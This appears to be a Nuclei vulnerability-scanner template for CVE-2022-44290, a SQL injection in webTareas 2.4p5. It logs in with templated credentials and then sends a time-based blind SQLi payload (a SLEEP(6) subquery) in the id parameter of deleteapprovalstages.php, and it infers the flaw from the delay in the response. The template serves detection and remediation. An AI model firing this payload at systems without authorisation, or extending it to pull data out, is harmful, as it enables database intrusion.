id: CVE-2022-44290

info:
  name: WebTareas 2.4p5 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    webTareas 2.4p5 was discovered to contain a SQL injection vulnerability via the id parameter in deleteapprovalstages.php.
  impact: |
    Authenticated attackers can execute time-based blind SQL injection through the id parameter in deleteapprovalstages.php, potentially extracting sensitive database information including task data, user credentials, and project information from WebTareas.
  remediation: |
    Update WebTareas to a version later than 2.4p5 that properly sanitizes and parameterizes the id parameter in deleteapprovalstages.php.
  reference:
    - http://webtareas.com/
    - https://github.com/anhdq201/webtareas/issues/2
    - https://nvd.nist.gov/vuln/detail/CVE-2022-44290
    - http://webtareas.com
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-44290
    cwe-id: CWE-89
    epss-score: 0.03699
    epss-percentile: 0.88301
    cpe: cpe:2.3:a:webtareas_project:webtareas:2.4:p5:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: webtareas_project
    product: webtareas
  tags: time-based-sqli,cve,cve2022,sqli,webtareas,authenticated,intrusive,webtareas_project,vuln

http:
  - raw:
      - |
        POST /general/login.php?session=false HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------3023071625140724693672385525

        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="action"

        login
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="loginForm"

        {{username}}
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="passwordForm"

        {{password}}
        -----------------------------3023071625140724693672385525
        Content-Disposition: form-data; name="loginSubmit"

        Log In
        -----------------------------3023071625140724693672385525--
      - |
        @timeout: 20s
        GET /approvals/deleteapprovalstages.php?id=1)+AND+(SELECT+3830+FROM+(SELECT(SLEEP(6)))MbGE)+AND+(6162=6162 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "text/html")
          - contains(body, 'Delete the following?')
        condition: and
# digest: 490a0046304402203b58313c6526f9dfd442295527328fc20422473d478a3004935c4369c21ee57a02203c1c96bfe923556836e246424e66315b29b4e3f255e828f5a2706901f087eb8f:922c64590222798bb761d5b6d8e72950